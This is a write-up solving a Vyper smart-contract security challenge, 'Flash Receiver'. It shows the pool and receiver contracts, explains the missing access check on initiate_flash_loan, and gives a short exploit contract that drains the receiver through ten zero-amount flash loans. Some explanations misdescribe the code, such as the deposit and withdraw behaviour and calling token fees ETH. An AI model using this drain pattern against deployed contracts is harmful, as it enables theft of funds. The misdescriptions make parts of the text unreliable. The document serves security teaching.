Solution for “Offensive Vyper - Challenge 5 - Flash Receiver”.
1) Challenge
Description
The Flash Receiver contract is a receiver of an ERC20-based flash loan pool. The Flash Pool contract is the ERC20-based flash loan contract. There is a flash fee of ten tokens for each flash loan. Your objective is to drain the Flash Receiver contract.
Challenge created by @jtriley_eth.
2) Code Review
This challenge has two contracts: FlashReceiver
and FlashPool
.
FlashReceiver.vy
contract (source code):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
# @version ^0.3.2
"""
@title Flash Loan Receiver Supporting ERC20 Token
@author jtriley.eth
"""
from vyper.interfaces import ERC20
interface Flash_pool:
def deposit(amount: uint256): nonpayable
def withdraw(amount: uint256): nonpayable
def flash_loan(amount: uint256): nonpayable
def deposits(arg0: address) -> uint256: view
def token() -> address: view
def flash_fee() -> uint256: view
token: public(address)
pool: public(address)
@external
def __init__(token: address, pool: address):
self.token = token
self.pool = pool
@internal
def _execute_action(amount: uint256):
pass
@external
def execute(amount: uint256):
"""
@notice Receives flash loan, executes action, then pays back the flash loan + the fee
@dev Reverts when caller is not the pool itself.
"""
assert msg.sender == self.pool, "invalid caller"
self._execute_action(amount)
fee: uint256 = Flash_pool(self.pool).flash_fee()
ERC20(self.token).transfer(self.pool, amount + fee)
@external
def initiate_flash_loan(amount: uint256):
"""
@notice Initiates flash loan from the pool.
Receiver.initiate_flash_loan -> Pool.flash_loan -> Receiver.execute
"""
Flash_pool(self.pool).flash_loan(amount)
|
Contract main functions:
execute
:
- checks if the sender is the pool (line
40
), meaning this function can be called only by the pool contract
- calls the
_execute_action
function (that does nothing) - line 41
- retrieves the fee from the pool that is equal to
10 ETH
(line 42
)
- transfers to the pool contract the amount received as an input plus the fee of
10 ETH
(line 43
)
initiate_flash_loan
accepts an amount and calls the flash_loan
function from the pool contract (line 53
)
FlashPool.vy
contract (source code):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
# @version ^0.3.2
"""
@title Flash Loan Pool Supporting ERC20 Token
@author jtriley.eth
"""
from vyper.interfaces import ERC20
interface IFlashLoanReceiver:
def execute(amount: uint256): nonpayable
event Deposit:
account: indexed(address)
amount: uint256
event Withdrawal:
account: indexed(address)
amount: uint256
deposits: public(HashMap[address, uint256])
flash_fee: public(uint256)
token: public(address)
@external
def __init__(token: address):
self.token = token
self.flash_fee = 10000000000000000000
@external
def deposit(amount: uint256):
"""
@notice Deposits ERC20 token.
@param amount Amount to deposit.
@dev Reverts when balance or approval of ERC20 is insufficient.
"""
ERC20(self.token).transferFrom(msg.sender, self, amount)
self.deposits[msg.sender] += amount
log Deposit(msg.sender, amount)
@external
def withdraw(amount: uint256):
"""
@notice Withdraws ERC20 token.
@param amount Amount to withdraw.
@dev Reverts when deposit amount is insufficient.
"""
self.deposits[msg.sender] -= amount
ERC20(self.token).transferFrom(self, msg.sender, amount)
log Withdrawal(msg.sender, amount)
@external
def flash_loan(amount: uint256):
"""
@notice Executes a flash loan, expects the token to be transferred back before completion.
@param amount Amount to flash loan.
@dev Reverts when insufficient balance OR when the amount + flash fee is not paid back.
"""
balance_before: uint256 = ERC20(self.token).balanceOf(self)
assert balance_before >= amount, "insufficient balance"
ERC20(self.token).transfer(msg.sender, amount)
IFlashLoanReceiver(msg.sender).execute(amount)
balance_after: uint256 = ERC20(self.token).balanceOf(self)
assert balance_after >= balance_before + self.flash_fee, "not paid back"
|
Contract main functions:
deposit
transfers the amount requested to the sender (line 46
) and updates the deposits
variable by incrementing the amount for the sender (line 47
)
withdraw
decrements the deposit
variable with the amount requested for the sender (line 58
) and transfer the amount to the pool (line 59
)
flash_loan
:
- checks if the pool has enough balance for the loan (line
72
)
- transfers the amount requested to the sender (line
74
)
- calls the
execute
function from the receiver contract (line 75
)
- finally, it checks if the loan plus the fee has been paid back (lines
76-77
)
Anyone can call this function, and there are no checks on the flash loan amount.
Every time the initiate_flash_loan
function is called, the receiver contract has to pay back the loan plus the additional 10 ETH
fee. However, even if the execute
function can be called only by the pool
contract, anyone can call the initiate_flash_loan
function. Also, there are no checks on the amount in the execute
function, meaning the receiver can pay 10 ETH
fee even for a 0
loan request.
It means that if we call the initiate_flash_loan
function multiple times with a 0
amount, the receiver will pay 10 ETH
each time. Since the pool has 100 ETH
, if we call the initiate_flash_loan
function 10
times, we will drain all its tokens.
3) Solution
The solution consists of calling the initiate_flash_loan
function 10
times with a 0
amount.
flash-receiver.challenge.js
:
1
2
3
4
5
6
7
8
|
it('Exploit', async function () {
// YOUR EXPLOIT HERE
let exploit = await (await ethers.getContractFactory('FlashReceiverExploit', deployer)).deploy(this.receiver.address)
await exploit.connect(attacker).run();
})
|
FlashReceiverExploit.vy
:
1
2
3
4
5
|
# YOUR EXPLOIT HERE
@external
def run():
for _ in range(10):
Flashreceiver(self.target).initiate_flash_loan(0)
|
You can find the complete code here and here.